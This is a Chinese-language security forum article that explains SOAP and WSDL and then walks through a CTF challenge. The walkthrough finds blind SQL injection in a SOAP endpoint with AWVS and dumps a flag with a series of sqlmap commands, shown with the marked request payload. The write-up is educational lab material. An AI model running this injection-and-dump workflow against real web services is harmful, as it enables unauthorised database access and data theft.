本文为看雪论坛优秀文章
看雪论坛作者ID:mb_tabcvksy
一
WebService
XML+XSD:描述、表达要传输的数据。
SOAP:交换XML编码信息的轻量级协议,以XML或XSD为载体,通过HTTP发送请求和接受结果。会在HTTP基础上增加特定消息头。
WSDL:一个基于XML的描述Web Service及函数、参数和返回值的语言。
二
SOAP
封装:定义了一个框架,描述了消息中的内容是什么,谁应当处理它,它是可选的还是必须的。
编码规则:定义了一种序列化机制,用于交换应用程序定义的数据类型的实例。
RPC表示:定义用于表示远程过程调用和应答的协定。
SOAP绑定:约定使用底层传输协议来完成节点间交换SOAP封装。
Envelope: 将该XML文档标识为一条SOAP消息。
Header:包含头部信息。
Body:包含所有调用和响应信息。
Fault:提供处理所发生的错误的信息。
<soap:Envelope
xmlns:soap="http://xxx/soap-envelope"
soap:encodingStyle="http://xxx/soap-encoding">
<soap:Header>
</soap:Header>
<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>
</soap:Envelope>
三
CTF题目
判断SOAP

点击页面中的“WSDL”,查看xml文档。
发现xmlns.soap等关键字,判定为SOAP类型。于是可以使用AWVS扫描探测。
AWVS探测

可以看到扫描出来了SQL注入,而且还是盲注类型。点击该漏洞,右边出现了该漏洞的详细信息,往下拉到HTTP Request。
点左上角的复制,将整个请求包复制下来,在桌面新建一个txt文件,命名为soap.txt。打开,粘贴,在title那里加一个*(加*是让sqlmap探测这个位置),保存。
请求包构造原理
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Header />
<soap:Body>
<tns:get_tickets_stock>
<title>*</title>
</tns:get_tickets_stock>
</soap:Body>
</soap:Envelope>
<tns:get_tickets_stock>
<title>*</title>
</tns:get_tickets_stock>
sqlmap注入
python sqlmap.py -r F:\xxx\soap.txt --batch --dbs
得到了几个数据库名,我们要的flag就在whalwl这个数据库名中。
python sqlmap.py -r F:\xxx\soap.txt --batch --tables -D "whalwl"
得到几个表名,很明显flag应该在this_flag表中。
python sqlmap.py -r F:\xxx\soap.txt --batch --columns -D "whalwl" -T "this_flag
获取到了flag列,最后获取flag内容即可。
python sqlmap.py -r F:\xxx\soap.txt --batch --dump -D "whalwl" -T "this_flag" -C "flag"
参考链接:
看雪ID:mb_tabcvksy
https://bbs.pediy.com/user-home-927464.htm
看雪CTF官网:https://ctf.pediy.com/
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):SOAP注入的介绍与实战
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论